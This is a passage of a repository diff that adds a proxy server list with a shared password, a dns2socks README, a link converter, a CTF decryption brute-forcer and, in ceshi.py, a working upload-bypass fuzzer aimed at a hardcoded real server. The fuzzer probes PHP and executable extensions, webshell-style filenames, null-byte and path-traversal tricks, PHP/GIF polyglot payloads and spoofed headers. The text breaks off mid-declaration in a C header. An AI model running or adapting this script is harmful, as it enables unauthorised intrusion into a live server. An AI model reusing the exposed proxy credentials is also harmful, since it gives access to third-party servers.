},
|
||||
{
|
||||
"name": "香港专线671",
|
||||
"server": "183.60.131.171",
|
||||
"port": 10003,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线824",
|
||||
"server": "120.232.206.21",
|
||||
"port": 10005,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线883",
|
||||
"server": "183.60.131.160",
|
||||
"port": 10002,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "国际专线375",
|
||||
"server": "122.13.18.55",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "国际专线372",
|
||||
"server": "183.60.131.170",
|
||||
"port": 10001,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "国际专线685",
|
||||
"server": "120.232.206.62",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "欧洲专线200",
|
||||
"server": "223.71.245.176",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "欧洲专线9",
|
||||
"server": "106.38.203.3",
|
||||
"port": 22406,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日服专线95",
|
||||
"server": "101.227.83.37",
|
||||
"port": 10002,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日服专线146",
|
||||
"server": "101.227.83.37",
|
||||
"port": 10001,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "new",
|
||||
"server": "203.234.200.191",
|
||||
"port": 445,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
}
|
||||
],
|
||||
"selected": 17,
|
||||
"listen_host": "0.0.0.0",
|
||||
"listen_port": 59999,
|
||||
"log_level": "INFO"
|
||||
}
|
||||
45
python/README.md
Normal file
45
python/README.md
Normal file
@ -0,0 +1,45 @@
|
||||
# dns2socks
|
||||
|
||||
[](https://crates.io/crates/dns2socks)
|
||||

|
||||
[](https://docs.rs/dns2socks)
|
||||
[](https://crates.io/crates/dns2socks)
|
||||
[](https://github.com/ssrlive/dns2socks/blob/master/LICENSE)
|
||||
|
||||
A DNS server that forwards DNS requests to a SOCKS5 server.
|
||||
|
||||
## Installation
|
||||
|
||||
### Precompiled Binaries
|
||||
|
||||
Download binary from [releases](https://github.com/ssrlive/dns2socks/releases) and put it in your `$PATH`.
|
||||
|
||||
### Install from Crates.io
|
||||
|
||||
If you have [Rust](https://rustup.rs/) toolchain installed, you can install `dns2socks` with the following command:
|
||||
```sh
|
||||
cargo install dns2socks
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```plaintext
|
||||
dns2socks -h
|
||||
|
||||
Proxy server to routing DNS query to SOCKS5 server
|
||||
|
||||
Usage: dns2socks [OPTIONS]
|
||||
|
||||
Options:
|
||||
-l, --listen-addr <IP:port> Listen address [default: 0.0.0.0:53]
|
||||
-d, --dns-remote-server <IP:port> Remote DNS server address [default: 8.8.8.8:53]
|
||||
-s, --socks5-server <IP:port> SOCKS5 proxy server address [default: 127.0.0.1:1080]
|
||||
-u, --username <user name> User name for SOCKS5 authentication
|
||||
-p, --password <password> Password for SOCKS5 authentication
|
||||
-f, --force-tcp Force to use TCP to proxy DNS query
|
||||
-c, --cache-records Cache DNS query records
|
||||
-v, --verbosity <level> Verbosity level [default: info] [possible values: off, error, warn, info, debug, trace]
|
||||
-t, --timeout <seconds> Timeout for DNS query [default: 5]
|
||||
-h, --help Print help
|
||||
-V, --version Print version
|
||||
```
|
||||
212
python/ceshi.py
Normal file
212
python/ceshi.py
Normal file
@ -0,0 +1,212 @@
|
||||
import requests
|
||||
import os
|
||||
import random
|
||||
import string
|
||||
from urllib.parse import quote
|
||||
|
||||
# --- 配置 ---
|
||||
TARGET_URL = 'https://150.40.239.108/ucard_upload.php'
|
||||
TEST_CONTENT = b'This is a test file content.'
|
||||
LOG_FILE = "upload_test_log.txt"
|
||||
|
||||
if not os.path.exists('test.tmp'):
|
||||
with open('test.tmp', 'wb') as f:
|
||||
f.write(TEST_CONTENT)
|
||||
|
||||
def log_write(msg):
|
||||
with open(LOG_FILE, "a", encoding="utf-8") as f:
|
||||
f.write(msg + "\n")
|
||||
|
||||
def print_banner(title):
|
||||
banner = f"\n{'=' * 60}\n[*] {title}\n{'=' * 60}"
|
||||
print(banner)
|
||||
log_write(banner)
|
||||
|
||||
def perform_upload(filename, content, content_type='application/octet-stream', extra_headers=None, extra_data=None):
|
||||
files = {'file': (filename, content, content_type)}
|
||||
try:
|
||||
r = requests.post(TARGET_URL, files=files, data=extra_data, headers=extra_headers, timeout=5)
|
||||
if "success" in r.text.lower():
|
||||
return True, r.text
|
||||
else:
|
||||
return False, r.text
|
||||
except Exception as e:
|
||||
return False, str(e)
|
||||
|
||||
def fuzz_extensions():
|
||||
print_banner("1. 探测文件扩展名")
|
||||
ext_groups = {
|
||||
"Web脚本": ['.php', '.php3', '.php4', '.php5', '.phtml', '.phar', '.pht', '.inc', '.phps'],
|
||||
"Web配置": ['.htaccess', '.user.ini', '.web.config', '.htpasswd'],
|
||||
"常见文件": ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.txt', '.html', '.zip', '.pdf', '.docx'],
|
||||
"可执行文件": ['.exe', '.bat', '.cmd', '.sh', '.ps1'],
|
||||
"其他脚本": ['.jsp', '.asp', '.aspx', '.pl', '.py', '.cgi', '.rb'],
|
||||
"特殊类型": ['.svg', '.xml', '.json', '.log', '.swf', '.jar']
|
||||
}
|
||||
|
||||
allowed = []
|
||||
for group, exts in ext_groups.items():
|
||||
print(f"\n--- {group} ---")
|
||||
for ext in exts:
|
||||
filename = f"test{ext}"
|
||||
success, resp = perform_upload(filename, TEST_CONTENT)
|
||||
status = "✅ ALLOWED" if success else "❌ DENIED"
|
||||
print(f"{ext:<10} {status}")
|
||||
if success:
|
||||
allowed.append(ext)
|
||||
log_write(f"[+] Allowed extension: {ext}")
|
||||
|
||||
print("\n--- [结论] ---")
|
||||
if allowed:
|
||||
print(f"✅ 允许的扩展名: {', '.join(allowed)}")
|
||||
log_write(f"[结论] 允许的扩展名: {', '.join(allowed)}")
|
||||
else:
|
||||
print("❌ 未发现允许的扩展名")
|
||||
log_write("[结论] 未发现允许的扩展名")
|
||||
return allowed
|
||||
|
||||
def fuzz_filename_tricks(allowed_ext):
|
||||
if not allowed_ext:
|
||||
return
|
||||
base_ext = allowed_ext[0]
|
||||
print_banner(f"2. 文件名绕过技巧 (基础扩展名: {base_ext})")
|
||||
|
||||
tricks = {
|
||||
"大小写混淆": f"SHeLL.PHP",
|
||||
"双扩展名1": f"shell.php{base_ext}",
|
||||
"双扩展名2": f"shell{base_ext}.php",
|
||||
"末尾加点": f"shell.php.",
|
||||
"末尾空格": f"shell.php ",
|
||||
"::$DATA": f"shell.php::$DATA",
|
||||
"空字节截断": f"shell.php%00.jpg",
|
||||
"换行符": f"shell.php\n",
|
||||
"URL编码": f"sh%65ll.php",
|
||||
"超长后缀": f"shell.{'a'*100}",
|
||||
"非ASCII字符": f"shell中文.php",
|
||||
"路径穿越": f"../shell.php",
|
||||
"多后缀组合": f"shell.php.{base_ext}.png",
|
||||
"分号截断": f"shell.php;.jpg",
|
||||
"反斜杠": f"shell\\.php",
|
||||
"双引号包裹": f'"shell.php"'
|
||||
}
|
||||
|
||||
for desc, fname in tricks.items():
|
||||
success, _ = perform_upload(fname, TEST_CONTENT)
|
||||
status = "✅ SUCCESS" if success else "❌ FAILED"
|
||||
print(f"{desc:<20} -> {fname:<30} {status}")
|
||||
if success:
|
||||
log_write(f"[+] Filename trick success: {desc} | {fname}")
|
||||
|
||||
def fuzz_content_types(allowed_ext):
|
||||
if not allowed_ext:
|
||||
return
|
||||
base_ext = allowed_ext[0]
|
||||
print_banner(f"3. Content-Type 绕过检测 (文件: test{base_ext})")
|
||||
|
||||
ctypes = [
|
||||
'image/jpeg', 'image/png', 'image/gif', 'image/bmp',
|
||||
'text/plain', 'text/html', 'text/xml',
|
||||
'application/octet-stream', 'application/x-php', 'application/json',
|
||||
'multipart/form-data', 'application/x-www-form-urlencoded',
|
||||
'application/zip', 'application/pdf',
|
||||
'invalid/type'
|
||||
]
|
||||
|
||||
for ct in ctypes:
|
||||
filename = f"test{base_ext}"
|
||||
success, _ = perform_upload(filename, TEST_CONTENT, content_type=ct)
|
||||
status = "✅ ACCEPT" if success else "❌ REJECT"
|
||||
print(f"{ct:<30} -> {status}")
|
||||
if success:
|
||||
log_write(f"[+] Content-Type bypass: {ct}")
|
||||
|
||||
def fuzz_content(allowed_ext):
|
||||
if not allowed_ext:
|
||||
return
|
||||
base_ext = allowed_ext[0]
|
||||
print_banner(f"4. 文件内容绕过检测 (扩展名: {base_ext})")
|
||||
|
||||
gif_header = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b'
|
||||
|
||||
contents = {
|
||||
"纯文本": b"Hello world",
|
||||
"GIF文件头": gif_header,
|
||||
"PHP标签": b"<?php phpinfo(); ?>",
|
||||
"短标签": b"<?=phpinfo()?>",
|
||||
"GIF+PHP": gif_header + b"<?php phpinfo(); ?>",
|
||||
"PHP+GIF": b"<?php phpinfo(); ?>" + gif_header,
|
||||
"JS脚本": b"<script>alert(1)</script>",
|
||||
"HTML+PHP": b"<html><?php echo 'x'; ?></html>",
|
||||
"Base64编码PHP": b"PD9waHAgcGhwaW5mbygpOyA/Pg==",
|
||||
"UTF-16 BOM + PHP": b'\xff\xfe<?php phpinfo(); ?>',
|
||||
"注释包裹PHP": b"/* <?php phpinfo(); ?> */",
|
||||
"空字节截断内容": b"<?php\x00",
|
||||
"超大文件": b'A' * 100000
|
||||
}
|
||||
|
||||
for desc, payload in contents.items():
|
||||
fname = f"content_test{base_ext}"
|
||||
success, _ = perform_upload(fname, payload)
|
||||
status = "✅ UPLOADED" if success else "❌ BLOCKED"
|
||||
print(f"{desc:<20} -> {status}")
|
||||
if success:
|
||||
log_write(f"[+] Content bypass: {desc}")
|
||||
|
||||
def fuzz_headers_and_params(allowed_ext):
|
||||
if not allowed_ext:
|
||||
return
|
||||
base_ext = allowed_ext[0]
|
||||
print_banner(f"5. 请求头与参数绕过检测")
|
||||
|
||||
headers_list = [
|
||||
{"User-Agent": "Mozilla/5.0"},
|
||||
{"User-Agent": "curl/7.68.0"},
|
||||
{"X-Forwarded-For": "127.0.0.1"},
|
||||
{"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryABC"},
|
||||
{"Referer": TARGET_URL},
|
||||
{"Authorization": "Basic dXNlcjpwYXNz"},
|
||||
{"Cookie": "sessionid=abc123"}
|
||||
]
|
||||
|
||||
for i, headers in enumerate(headers_list):
|
||||
fname = f"header_test{i}{base_ext}"
|
||||
success, _ = perform_upload(fname, TEST_CONTENT, extra_headers=headers)
|
||||
status = "✅ SUCCESS" if success else "❌ FAILED"
|
||||
print(f"Header Set {i+1} -> {status}")
|
||||
if success:
|
||||
log_write(f"[+] Header bypass set {i+1}: {headers}")
|
||||
|
||||
print("\n--- 多参数测试 ---")
|
||||
multi_params = [
|
||||
{"file": ("test.php", TEST_CONTENT), "name": "test.jpg"},
|
||||
{"file": ("test.jpg", TEST_CONTENT), "upload": "1"},
|
||||
{"file": ("test.php", TEST_CONTENT), "type": "image/jpeg"},
|
||||
{"file": ("test.php", TEST_CONTENT), "token": "fake_csrf_token"}
|
||||
]
|
||||
|
||||
for i, params in enumerate(multi_params):
|
||||
try:
|
||||
r = requests.post(TARGET_URL, files=params, timeout=5)
|
||||
success = "success" in r.text.lower()
|
||||
status = "✅ SUCCESS" if success else "❌ FAILED"
|
||||
print(f"Multi-param {i+1} -> {status}")
|
||||
if success:
|
||||
log_write(f"[+] Multi-param bypass {i+1}: {params}")
|
||||
except Exception as e:
|
||||
print(f"Multi-param {i+1} -> ERROR: {e}")
|
||||
|
||||
# --- 主执行 ---
|
||||
if __name__ == '__main__':
|
||||
allowed = fuzz_extensions()
|
||||
if allowed:
|
||||
fuzz_filename_tricks(allowed)
|
||||
fuzz_content_types(allowed)
|
||||
fuzz_content(allowed)
|
||||
fuzz_headers_and_params(allowed)
|
||||
else:
|
||||
print("\n[!] 未发现任何允许的扩展名,后续测试无法进行。")
|
||||
|
||||
if os.path.exists("test.tmp"):
|
||||
os.remove("test.tmp")
|
||||
|
||||
print("\n[*] 所有测试完成,日志已写入 upload_test_log.txt")
|
||||
152
python/ceshi1.py
Normal file
152
python/ceshi1.py
Normal file
@ -0,0 +1,152 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
CTF 解密脚本:Morse + Zero-Width + Ascii85 + AES(多模式试探)
|
||||
用法:python solve_flag.py
|
||||
"""
|
||||
from __future__ import annotations
|
||||
from typing import List, Tuple
|
||||
import base64, hashlib, itertools
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
|
||||
# ---- 题面(保持 HTML 实体,不要手改)----
|
||||
RAW = """...‌‌‌‌‍‍‌‌‌‌‍‬‍‍.- . --... ‌‌‌‌‍‬‌‌‌‌‌‍‬‌...‌‌‌‌‍‬ --...‌‌‌‌‍‬‍ .--- -‌‌‌‌‍‬‍‍.-. ‌‌‌‌‍‍‌-- .-. ‌‌‌‌‍‬.--‌‌‌‌‍‬‌ -.‌‌‌‌‍‌‬.. -.‌‌‌‌‍‬‍‌‌‌‌‍‌‌‌‌‌‌‍‍‌ --‌‌‌‌‍‬. -. ‌‌‌‌‍‍.‌‌‌‌‍‬--- -.‌‌‌‌‍‌‬‌‌‌‌‍‬‌.- ...‌‌‌‌‍‬‍‌.- .-. ‌‌‌‌‌‬‍‬‌‌‌‌‌‌‍..‌‌‌‌‍‍‌‍.- ‌‌‌‌‍‌‌‍-. ‌‌‌‌‍‍‬‬.‌‌‌‌‌‌‬...-‌‌‌‌‍‍‍ ‌‌‌‌‍‍‌...‌‌‌‌‍‍‬‌.- -- ..‌‌‌‌‌‌..‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‌ ‌‌‌‌‍‌‌-.‌‌‌‌‌‍‌-.‌‌‌‌‍‍‌‬‌‌‌‌‍‌‍‬ .. ‌‌‌‌‍‍‍‬.... ..‌‌‌‌‌‍‍..‌‌‌‌‍‍‍‌ .‌‌‌‌‍‌‍‌‌‌‌‍‌‌‬- ‌‌‌‌‌‍‬.. .‌‌‌‌‍‍‬‍--‌‌‌‌‍‌‬‌‌‌‌‌‍‌‬- ‌‌‌‌‌‍-‌‌‌‌‍‍‍‍-‌‌‌‌‍‌‬‬-‌‌‌‌‍‌‍-.‌‌‌‌‌‬‌ ..-. .‌‌‌‌‍‌‬‍-- -. ...‌‌‌‌‍‌‬‌‌‌‌‌‬‍ ‌‌‌‌‍‌.---‌‌‌‌‍‌‌ ‌‌‌‌‌‌‌..‌‌‌‌‍‍‌‌-‌‌‌‌‌‬‍‬ -‍‬‍‌‍‍‍‌‌‌‬‍- .-- ‍‍‌‌‌.‍‌‬‬‍‬‬.‍‍‌‬‬‬‌‌‍‍‬‌‍‬-. ‍‍‍‌‬‌‌.‌‌‌‌‍‬‌‬. ‌‌‌‌‍‬‌‍--..‌‌‌‌‍‌. -..-‌‌‌‌‍‬‍‍ ...‌‌‌‌‌‌ ...‌‌‌‌‌‌‬-- ‍‍‍‍‬‍‍-.-‌‌‌‌‍‬. .. 还真是!实际上是这样"""
|
||||
|
||||
# ---- Step1: 提取摩斯并 Base62 → 36B 密钥素材 ----
|
||||
import html as _html
|
||||
MORSE = {".-":"A","-...":"B","-.-.":"C","-..":"D",".":"E","..-.":"F","--.":"G","....":"H","..":"I",
|
||||
".---":"J","-.-":"K",".-..":"L","--":"M","-.":"N","---":"O",".--.":"P","--.-":"Q",".-.":"R",
|
||||
"...":"S","-":"T","..-":"U","...-":"V",".--":"W","-..-":"X","-.--":"Y","--..":"Z",
|
||||
"-----":"0",".----":"1","..---":"2","...--":"3","....-":"4",".....":"5","-....":"6",
|
||||
"--...":"7","---..":"8","----.":"9"}
|
||||
decoded = _html.unescape(RAW)
|
||||
morse_only = ''.join(ch for ch in decoded if ch in '.- ')
|
||||
morse_text = ''.join(MORSE.get(tok, '?') for tok in morse_only.split())
|
||||
# Base62 解码
|
||||
import string
|
||||
B62 = string.digits + string.ascii_uppercase + string.ascii_lowercase
|
||||
val = 0
|
||||
for ch in morse_text:
|
||||
val = val * 62 + B62.index(ch)
|
||||
b62_bytes = val.to_bytes((val.bit_length()+7)//8, 'big') or b'\x00'
|
||||
|
||||
# ---- Step2: 解析零宽 → Ascii85 → 密文字节 ----
|
||||
ZWS = (0x200C, 0x200D, 0xFEFF, 0x202C) # ZWNJ, ZWJ, ZWNBSP, PDF
|
||||
codes = [ord(c) for c in decoded if ord(c) in ZWS]
|
||||
|
||||
def ascii85_candidates() -> List[bytes]:
|
||||
out: List[bytes] = []
|
||||
for perm in itertools.permutations(ZWS, 4):
|
||||
mp = {perm[i]: format(i, '02b') for i in range(4)}
|
||||
bits = ''.join(mp[c] for c in codes)
|
||||
for off in range(8):
|
||||
bbits = bits[off:][:len(bits[off:])//8*8]
|
||||
if not bbits: continue
|
||||
data = int(bbits, 2).to_bytes(len(bbits)//8, 'big')
|
||||
for take in (data, data[0::2], data[1::2]): # 全量/偶/奇抽样
|
||||
s = bytes(ch for ch in take if 33 <= ch <= 117 or ch == 122) # 过滤到 Ascii85 合法区
|
||||
if len(s) < 20:
|
||||
continue
|
||||
try:
|
||||
blob = base64.a85decode(s, adobe=False)
|
||||
out.append(blob)
|
||||
except Exception:
|
||||
pass
|
||||
# 去重
|
||||
uniq: List[bytes] = []
|
||||
seen = set()
|
||||
for b in out:
|
||||
h = hashlib.sha1(b).hexdigest()
|
||||
if h not in seen:
|
||||
uniq.append(b); seen.add(h)
|
||||
return uniq
|
||||
|
||||
a85_blobs = ascii85_candidates()
|
||||
assert a85_blobs, "没解析到任何 Ascii85 候选;请确认文本原样未被改动"
|
||||
|
||||
# ---- Step3: 生成密钥候选(16/24/32)----
|
||||
def key_candidates() -> List[bytes]:
|
||||
C: List[bytes] = []
|
||||
srcs = [morse_text.encode(), b62_bytes]
|
||||
for s in srcs:
|
||||
C += [hashlib.md5(s).digest(),
|
||||
hashlib.sha1(s).digest()[:16],
|
||||
hashlib.sha256(s).digest(),
|
||||
hashlib.blake2b(s, digest_size=32).digest()]
|
||||
# 额外:直接取 b62 的前/后 16/24/32
|
||||
for L in (16,24,32):
|
||||
C += [b62_bytes[:L].ljust(L, b'\0'),
|
||||
b62_bytes[-L:].rjust(L, b'\0')]
|
||||
# 去重
|
||||
uniq: List[bytes] = []
|
||||
seen = set()
|
||||
for k in C:
|
||||
h = (len(k), hashlib.sha1(k).hexdigest())
|
||||
if h not in seen:
|
||||
uniq.append(k); seen.add(h)
|
||||
return uniq
|
||||
|
||||
KEYS = key_candidates()
|
||||
|
||||
# ---- Step4: 穷举 AES 模式与 IV/nonce 切分,命中 flag ----
|
||||
def try_ctr(ct: bytes, key: bytes) -> List[Tuple[str, bytes]]:
|
||||
outs = []
|
||||
L = len(ct)
|
||||
for split in range(4, min(24, L-4)):
|
||||
iv = ct[:split]; body = ct[split:]
|
||||
for nonce_len in range(0, min(15, split)+1):
|
||||
nonce = iv[:nonce_len]; rem = iv[nonce_len:]
|
||||
for name, init in (("zero", 0),
|
||||
("rem_be", int.from_bytes(rem, "big") if rem else 0),
|
||||
("rem_le", int.from_bytes(rem[::-1], "big") if rem else 0)):
|
||||
try:
|
||||
pt = AES.new(key, AES.MODE_CTR, nonce=nonce, initial_value=init).decrypt(body)
|
||||
outs.append((f"CTR split={split} nonce={nonce_len} init={name}", pt))
|
||||
except Exception:
|
||||
pass
|
||||
return outs
|
||||
|
||||
def try_stream_modes(ct: bytes, key: bytes) -> List[Tuple[str, bytes]]:
|
||||
outs = []
|
||||
L = len(ct)
|
||||
# CFB/OFB 尝试 iv 在前/后
|
||||
for mode_name, MODE in (("CFB", AES.MODE_CFB), ("OFB", AES.MODE_OFB)):
|
||||
for ivpos in ("head","tail"):
|
||||
if L <= 16: continue
|
||||
iv, body = (ct[:16], ct[16:]) if ivpos=="head" else (ct[-16:], ct[:-16])
|
||||
try:
|
||||
pt = AES.new(key, MODE, iv=iv).decrypt(body)
|
||||
outs.append((f"{mode_name} iv={ivpos}", pt))
|
||||
except Exception:
|
||||
pass
|
||||
# CBC(尽管不太像)
|
||||
for ivpos in ("head","tail"):
|
||||
if L <= 16: continue
|
||||
iv, body = (ct[:16], ct[16:]) if ivpos=="head" else (ct[-16:], ct[:-16])
|
||||
body = body[:len(body)//16*16]
|
||||
try:
|
||||
raw = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(body)
|
||||
try: pt = unpad(raw, 16)
|
||||
except Exception: pt = raw
|
||||
outs.append((f"CBC iv={ivpos}", pt))
|
||||
except Exception:
|
||||
pass
|
||||
return outs
|
||||
|
||||
def solve() -> None:
|
||||
# 先打印你要的两个“中间产物”,便于复核
|
||||
print("[MORSE] =", morse_text)
|
||||
print("[B62 hex] =", b62_bytes.hex())
|
||||
# 遍历所有密文候选 × 密钥候选 × 模式
|
||||
for blob in a85_blobs:
|
||||
for key in KEYS:
|
||||
for tag, pt in try_ctr(blob, key) + try_stream_modes(blob, key):
|
||||
s = pt.decode("utf-8", "ignore")
|
||||
if "flag{" in s.lower():
|
||||
print("[HIT]", tag, "key_len=", len(key))
|
||||
print(s)
|
||||
return
|
||||
print("[X] 未命中。可再加:GCM(带不同 tag 长度)、XOR-探测、zlib 解压后再试。")
|
||||
|
||||
if __name__ == "__main__":
|
||||
solve()
|
||||
132
python/converter.py
Normal file
132
python/converter.py
Normal file
@ -0,0 +1,132 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
将自定义节点 JSON 转换为可导入 GUI 的 ss:// 链接。
|
||||
|
||||
用法:
|
||||
python to_ss_links.py -i nodes.json -o links.txt
|
||||
|
||||
JSON 输入可为:
|
||||
- 单个对象
|
||||
- 对象数组
|
||||
|
||||
字段映射:
|
||||
- 仅处理 method == "aes-256-cfb" (不区分大小写)
|
||||
- server -> 主机
|
||||
- server_port -> 端口
|
||||
- PluginOption -> 密码 (若为空/None, 回退到 password)
|
||||
- mx_head_str -> 作为 ?mx= 参数
|
||||
- name -> 作为 #TAG
|
||||
|
||||
输出:
|
||||
- 文本中每行一个 ss:// 链接 (平铺样式),例如:
|
||||
ss://aes-256-cfb:dwz1GtF7@112.54.161.34:22404?mx=com.win64.oppc.game.common%3A22021709%2C102024080020541279#韩国专线139
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, Iterable, List, Tuple
|
||||
from urllib.parse import quote
|
||||
|
||||
METHOD = "aes-256-cfb"
|
||||
|
||||
|
||||
def _wrap_ipv6(host: str) -> str:
|
||||
"""IPv6 主机在 URL 中需要方括号。"""
|
||||
return f"[{host}]" if ":" in host and not host.startswith("[") else host
|
||||
|
||||
|
||||
def build_ss_link(server: str, port: int, password: str, mx: str, name: str) -> str:
|
||||
"""构造平铺样式 ss 链接,所有可变字段进行 URL 编码。
|
||||
|
||||
Args:
|
||||
server: 服务器地址 (IPv4/IPv6/域名)
|
||||
port: 服务器端口
|
||||
password: 密码 (优先取 PluginOption)
|
||||
mx: mx_head_str
|
||||
name: 显示名称 (作为 #TAG)
|
||||
|
||||
Returns:
|
||||
str: ss:// 链接
|
||||
"""
|
||||
# 密码、mx、name 都要百分号编码;server 若是 IPv6 要加 []
|
||||
enc_pwd = quote(password, safe="")
|
||||
enc_mx = quote(mx or "", safe="")
|
||||
enc_name = quote(name or "", safe="")
|
||||
host = _wrap_ipv6(server)
|
||||
return f"ss://{METHOD}:{enc_pwd}@{host}:{port}?mx={enc_mx}#{enc_name}"
|
||||
|
||||
|
||||
def load_items(path: Path) -> Iterable[Dict[str, Any]]:
|
||||
"""加载 JSON,支持单对象或数组。"""
|
||||
data = json.loads(path.read_text(encoding="utf-8"))
|
||||
if isinstance(data, dict):
|
||||
yield data
|
||||
elif isinstance(data, list):
|
||||
for item in data:
|
||||
if isinstance(item, dict):
|
||||
yield item
|
||||
else:
|
||||
raise ValueError("JSON 根节点必须是对象或数组")
|
||||
|
||||
|
||||
def convert(items: Iterable[Dict[str, Any]]) -> List[Tuple[str, str]]:
|
||||
"""将条目转换为 (name, ss_link) 列表;仅保留 aes-256-cfb。"""
|
||||
out: List[Tuple[str, str]] = []
|
||||
for i, it in enumerate(items):
|
||||
method = str(it.get("method", "")).lower()
|
||||
if method != METHOD:
|
||||
continue # 只读 cfb
|
||||
server = str(it.get("server", "")).strip()
|
||||
port = int(it.get("server_port", 0))
|
||||
# 密码优先用 PluginOption;为空则回退 password
|
||||
password = str(it.get("PluginOption") or it.get("password") or "").strip()
|
||||
mx = str(it.get("mx_head_str", "")).strip()
|
||||
name = str(it.get("name", f"node-{i}")).strip()
|
||||
|
||||
# 基本校验
|
||||
if not server or port <= 0 or not password:
|
||||
# 丢弃无效条目
|
||||
continue
|
||||
|
||||
link = build_ss_link(server, port, password, mx, name)
|
||||
out.append((name, link))
|
||||
return out
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(description="将自定义 JSON 转换为 GUI 可用的 ss:// 链接")
|
||||
parser.add_argument("-i", "--input", default="nodes.json", help="输入 JSON 文件路径")
|
||||
parser.add_argument("-o", "--output", help="输出 txt 文件路径(可选,默认只打印 stdout)")
|
||||
args = parser.parse_args()
|
||||
|
||||
in_path = Path(args.input)
|
||||
if not in_path.exists():
|
||||
print(f"[错误] 输入文件不存在: {in_path}", file=sys.stderr)
|
||||
sys.exit(2)
|
||||
|
||||
try:
|
||||
pairs = convert(load_items(in_path))
|
||||
except Exception as e:
|
||||
print(f"[错误] 解析失败: {e}", file=sys.stderr)
|
||||
sys.exit(3)
|
||||
|
||||
if not pairs:
|
||||
print("[提示] 没有符合条件 (aes-256-cfb) 的条目。", file=sys.stderr)
|
||||
|
||||
# 打印到 stdout
|
||||
for _, link in pairs:
|
||||
print(link)
|
||||
|
||||
# 可选写文件
|
||||
if args.output:
|
||||
out_path = Path(args.output)
|
||||
out_path.write_text("\n".join(link for _, link in pairs), encoding="utf-8")
|
||||
print(f"[完成] 已写入: {out_path}", file=sys.stderr)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
17
python/dns.py
Normal file
17
python/dns.py
Normal file
@ -0,0 +1,17 @@
|
||||
import socks
|
||||
import socket
|
||||
from dnslib import DNSRecord
|
||||
|
||||
socks.setdefaultproxy(socks.SOCKS5, "172.29.199.152", 10807, True)
|
||||
socket.socket = socks.socksocket
|
||||
q = DNSRecord.question("google.com", qtype="A")
|
||||
query_data = q.pack()
|
||||
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
|
||||
s.settimeout(5)
|
||||
s.sendto(query_data, ("8.8.8.8", 53))
|
||||
data, _ = s.recvfrom(512)
|
||||
|
||||
# 解析返回
|
||||
resp = DNSRecord.parse(data)
|
||||
print(resp)
|
||||
87
python/dns2socks.h
Normal file
87
python/dns2socks.h
Normal file
@ -0,0 +1,87 @@
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
typedef enum Dns2socksVerbosity {
|
||||
Dns2socksVerbosity_Off = 0,
|
||||
Dns2socksVerbosity_Error,
|
||||
Dns2socksVerbosity_Warn,
|
||||
Dns2socksVerbosity_Info,
|
||||
Dns2socksVerbosity_Debug,
|
||||
Dns2socksVerbosity_Trace,
|
||||
} Dns2socksVerbosity;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
/**
|
||||
* # Safety
|
||||
*
|
||||
* Start dns2socks
|
||||
* Parameters:
|
||||
* - listen_addr: the listen address, e.g. "172.19.0.1:53", or null to use the default value
|
||||
* - dns_remote_server: the dns remote server, e.g. "8.8.8.8:53", or null to use the default value
|
||||
* - socks5_settings: the socks5 server, e.g. "socks5://[username[:password]@]host:port", or null to use the default value
|
||||
* - force_tcp: whether to force tcp, true or false, default is false
|
||||
* - cache_records: whether to cache dns records, true or false, default is false
|
||||
* - verbosity: the verbosity level, see ArgVerbosity enum, default is ArgVerbosity::Info
|
||||
* - timeout: the timeout in seconds, default is 5
|
||||
*/
|
||||
jint Java_com_github_shadowsocks_bg_Dns2socks_start(JNIEnv env,
|
||||
JClass _clazz,
|
||||
JString listen_addr,
|
||||
JString dns_remote_server,
|
||||
JString socks5_settings,
|
||||
